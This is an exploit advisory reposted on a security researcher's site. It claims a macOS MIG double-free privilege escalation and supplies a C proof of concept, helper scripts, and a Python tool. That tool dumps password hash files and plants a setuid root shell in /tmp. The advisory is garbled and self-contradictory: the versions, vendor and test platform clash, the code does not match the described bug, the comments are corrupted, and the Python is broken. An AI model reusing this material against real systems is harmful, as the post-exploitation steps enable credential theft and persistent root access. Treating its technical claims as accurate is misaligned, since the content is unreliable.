Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

macOS Sierra 10.12 Build 16A323 Double-Free / Privilege Escalation

=============================================================================================================================================
| # macOS Sierra 10.12 Build 16A323 Double-Free / Privilege Escalation

=============================================================================================================================================
| # Title : macOS Sierra 10.12 Build 16A323 Double-Free Race via MIG OOL Descriptors Leading to Privilege Escalation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://www.android.com |
=============================================================================================================================================

[+] References : https://project-zero.issues.chromium.org/issues/42452484

[+] Summary : A flaw in the MIG ownership model within the io_service_add_notification_ool routine of IOKit allows a malicious user to leak Mach port send-right references.
By repeatedly invoking notifications with malformed matching data, MIG returns success while the underlying IOKit routine fails,
causing the reference counter to increment without being released. After billions of iterations, the 32?bit reference counter wraps to zero,
making the port appear ?free? while still actively referenced. Subsequent operations create a Use?After?Free on ipc_port_t, enabling kernel-level privilege escalation or sandbox escape.

PoC Target Versions:

macOS: 10.13.x (tested on 10.13.6 - 17G65, likely affects earlier 10.13 builds)

iOS 11.0.3 (11A432) / iPhone 6s and macOS 10.13 / MacBookAir5,2

iOS: 11.0.3 (confirmed vulnerable)

Potentially affects any Darwin kernel where io_service_add_notification_ool does not respect MIG ownership semantics.

[+] POC :

/*
* PoC to exploit Double Free in MIG services on macOS
* Targets dspluginhelperd (com.apple.system.DirectoryService.legacy)
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <servers/bootstrap.h>
#include <sys/sysctl.h>

#define SERVICE_NAME "com.apple.system.DirectoryService.legacy"
#define MAX_ATTEMPTS 1000

// ??????? MIG ?????? (??????? ?? ?????????)
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_ool_descriptor_t ool_desc;
int some_data;
} request_message_t;

typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_type_t ret_code_type;
kern_return_t ret_code;
} reply_message_t;

// ???? ?????????
typedef struct {
mach_port_t service_port;
vm_address_t target_address;
size_t target_size;
int success;
pthread_mutex_t lock;
pthread_cond_t cond;
} exploit_state_t;

// ?????? ??????? ????????
kern_return_t (*dsplugin_session_create)(mach_port_t, vm_address_t, vm_size_t, int*);

// ==================== ??????? 1: ?????? ??? ???? ?????? ====================

mach_port_t get_service_port() {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t kr;

printf("[+] ????? ?? ????: %s\n", SERVICE_NAME);

kr = bootstrap_look_up(bootstrap_port, SERVICE_NAME, &service_port);
if (kr != KERN_SUCCESS) {
printf("[-] ??? ?? ?????? ??? ??????: %s\n", mach_error_string(kr));
return MACH_PORT_NULL;
}

printf("[+] ?? ?????? ??? ???? ??????: %d\n", service_port);
return service_port;
}

// ==================== ??????? 2: ????? ??????? ????? ====================

void* allocator_thread(void* arg) {
exploit_state_t* state = (exploit_state_t*)arg;

printf("[+] ??? ???? ???????...\n");

while (!state->success) {
// ?????? ??????? ??? ??????? ??????
pthread_mutex_lock(&state->lock);

// ????? ?????? ????? ?? ??????? ?????????
char* target_obj = (char*)malloc(1024);
if (target_obj != NULL) {
// ??? ?????? ??????? ????
memset(target_obj, 0x41, 1024); // 'A'

// ????? ?????? ?????? ?? ??????
void** vtable = (void**)(target_obj + 0x100);
vtable[0] = (void*)0x4141414141414141; // RIP ?????

printf("[?] ?? ????? ???? ???: %p\n", target_obj);
}

pthread_cond_wait(&state->cond, &state->lock);
pthread_mutex_unlock(&state->lock);

usleep(1000); // ???? ??????? CPU ????
}

return NULL;
}

// ==================== ??????? 3: ????? ????? ????? ====================

void send_virtual_copy_message(mach_port_t port, vm_address_t addr, vm_size_t size) {
kern_return_t kr;
request_message_t request;
reply_message_t reply;

// ????? ???????
memset(&request, 0, sizeof(request));

// ??? ???????
request.header.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
request.header.msgh_size = sizeof(request);
request.header.msgh_remote_port = port;
request.header.msgh_local_port = MACH_PORT_NULL;
request.header.msgh_id = 0x100; // ID ????? ??? ??????

// ??? ???????
request.body.msgh_descriptor_count = 1;

// ???? OOL ?? VIRTUAL_COPY
request.ool_desc.address = (void*)addr;
request.ool_desc.size = size;
request.ool_desc.copy = MACH_MSG_VIRTUAL_COPY; // ??? ?? ???? ???????
request.ool_desc.deallocate = FALSE;
request.ool_desc.type = MACH_MSG_OOL_DESCRIPTOR;

// ????? ???????
kr = mach_msg(&request.header,
MACH_SEND_MSG | MACH_RCV_MSG,
sizeof(request),
sizeof(reply),
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);

if (kr != KERN_SUCCESS) {
printf("[-] ??? ????? ???????: %s\n", mach_error_string(kr));
} else {
printf("[+] ?? ????? ??????? ?? VIRTUAL_COPY\n");
}
}

// ==================== ??????? 4: ??? ???? Double Free ====================

void trigger_double_free(exploit_state_t* state) {
printf("[+] ????? Double Free...\n");

// 1. ????? ????? ?????
vm_address_t target_addr = 0;
vm_size_t target_size = 0x4000; // 16KB

kern_return_t kr = mach_vm_allocate(mach_task_self(),
&target_addr,
target_size,
VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) {
printf("[-] ??? ????? ???????\n");
return;
}

printf("[+] ?? ????? ??????? ???: 0x%llx\n", (uint64_t)target_addr);

// 2. ??? ??????? ??????? ????
memset((void*)target_addr, 0x42, target_size); // 'B'

// 3. ????? ????? ???? ????? ??????? ?? ???????
send_virtual_copy_message(state->service_port, target_addr, target_size);

// 4. ?????? ????? ??????? ??????? ???????
printf("[+] ?????? ????? ??????? ??????? ???????...\n");

// ????? ??? ????? ?????? ???? ?????????
for (int i = 0; i < 10; i++) {
// ????? ????? ???????
pthread_mutex_lock(&state->lock);
pthread_cond_signal(&state->cond);
pthread_mutex_unlock(&state->lock);

// ????? ????? ??????
send_virtual_copy_message(state->service_port, target_addr + i*0x100, 0x100);

usleep(50000); // 50ms
}
}

// ==================== ??????? 5: ?????? ?? ????????? ====================

void check_exploitation() {
// ?????? ?????/????? ??? ????? ?? ?????????
printf("[+] ?????? ?? ???? ?????????...\n");

// 1. ?????? ?? ???? ????????
void* leaked_ptr = malloc(1024);
printf("[+] ????? ???? ??????: %p\n", leaked_ptr);

// 2. ?????? ?????? ?? ???? ????? ???
char* crash_test = (char*)0x4141414141414141;
// ????? - ????? ??????? ?????? ?? ????
// printf("%c\n", crash_test[0]);

// 3. ?????? ?? ??????? ????????
uid_t uid = getuid();
gid_t gid = getgid();
printf("[+] UID/GID ??????: %d/%d\n", uid, gid);

if (uid == 0) {
printf("[?] !!! ?? ?????? ??? ??????? root !!!\n");
system("id; whoami");
}
}

// ==================== ??????? ???????? ====================

int main(int argc, char** argv) {
printf("[*] ??? ??????? Double Free ?? MIG Services\n");
printf("[*] ?????: %s\n", SERVICE_NAME);

exploit_state_t state;
memset(&state, 0, sizeof(state));

// ????? ????????? ????????
pthread_mutex_init(&state.lock, NULL);
pthread_cond_init(&state.cond, NULL);

// 1. ?????? ??? ???? ??????
state.service_port = get_service_port();
if (state.service_port == MACH_PORT_NULL) {
printf("[-] ??? ?? ?????? ??? ??????\n");
return -1;
}

// 2. ????? ???? ???????
pthread_t alloc_thread;
pthread_create(&alloc_thread, NULL, allocator_thread, &state);

// 3. ?????? ?????? ??????
sleep(1);

// 4. ????? Double Free
for (int attempt = 0; attempt < MAX_ATTEMPTS && !state.success; attempt++) {
printf("[*] ???????? %d/%d\n", attempt + 1, MAX_ATTEMPTS);
trigger_double_free(&state);

// ??? ??????
if (attempt % 10 == 0) {
check_exploitation();
}

usleep(100000); // 100ms ??? ?????????
}

// 5. ?????
pthread_mutex_lock(&state.lock);
state.success = 1;
pthread_cond_signal(&state.cond);
pthread_mutex_unlock(&state.lock);

pthread_join(alloc_thread, NULL);

if (state.success) {
printf("[?] ????????? ????!\n");
} else {
printf("[-] ??? ????????? ??? %d ??????\n", MAX_ATTEMPTS);
}

// ????? ???????
pthread_mutex_destroy(&state.lock);
pthread_cond_destroy(&state.cond);
mach_port_deallocate(mach_task_self(), state.service_port);

return 0;
}

====
Helping texts:
1. Service Finder (service_scanner.c):

#include <servers/bootstrap.h>
#include <stdio.h>

int main() {
kern_return_t kr;
mach_port_t bp;
name_array_t names;
mach_msg_type_number_t names_count;
bool_array_t active;
mach_msg_type_number_t active_count;

kr = task_get_bootstrap_port(mach_task_self(), &bp);

kr = bootstrap_info(bp, &names, &names_count, &active, &active_count);
if (kr == KERN_SUCCESS) {
for (int i = 0; i < names_count; i++) {
printf("Service: %s [%s]\n", names[i], active[i] ? "active" : "inactive");

}
}

return 0;

}

=======================================

2. Memory Monitor (memory_monitor.sh):

#!/bin/bash
echo "monitoring dspluginhelperd processes..."
sudo vmmap $(pgrep dspluginhelperd) | grep -A5 -B5 "MALLOC"
echo ""

echo "Monitoring vm_deallocate calls..."
sudo dtrace -qn 'pid$target::vm_deallocate:entry {
printf("vm_deallocate(0x%p, 0x%x) from %s\n", arg0, arg1, execname);
}' -c "/usr/libexec/dspluginhelperd"

============================================

3. Auto-loading tool (auto_exploit.py):

#!/usr/bin/env python3
import subprocess
import os
import time

def compile_exploit():

print("[*] Compile the exploit...")

result = subprocess.run("make"], capture_output=True)

if result.returncode != 0:

print("[-] Compilation failed")
return False

print("[+] Compilation succeeded")
return True

def run_exploit():

print("[*] Run the exploit...")

# Check for service existence

if not os.path.exists("/usr/libexec/dspluginhelperd"):

print("[-] Service not found")
return False

================================
# Run the exploit

proc = subprocess.Popen(["sudo", "./mig_exploit"],
stdout=subprocess.PIPE,

stderr=subprocess.PIPE,

text=True)

# Monitoring the output

for line in proc.stdout:

print(line.strip())

if "!!! Permissions successfully raised!!!" in line:
proc.terminate()
return True

proc. wait()
return False

def post_exploit():
print("[*] Executing post-exploitation commands...")

commands = [
"id",
"whoami",
"cat /etc/master.passwd 2>/dev/null || cat /etc/shadow 2>/dev/null",
"ls -la /Library/LaunchDaemons/",
"cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash"
]

for cmd in commands:
print(f"\n[*] execute: {cmd}")
result = subprocess.run(["sudo", "sh", "-c", cmd],
capture_output=True, text=True)
print(result.stdout)
if result.stderr:

print(f"Error: {result.stderr}")

def main():

print("=== Automated Exploit Tool ===")

if os.geteuid() != 0:

print("[!] Must run as root")

return

if compile_exploit():

if run_exploit():

print("\n[+] !!! Exploit successful !!!")

post_exploit()

else:

print("\n[-] Exploit failed")

else:

print("[-] Cannot proceed")

if __name__ == "__main__":

main()

=======================
Usage Instructions:
======================

# 1. Compile
make

# 2. Run (requires privileges)
sudo ./mig_exploit

# 3. Or use the automated tool
sudo python3 auto_exploit.py

# 4. Run in debug mode
make debug
lldb -- ./mig_exploit_debug


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

Social Media Share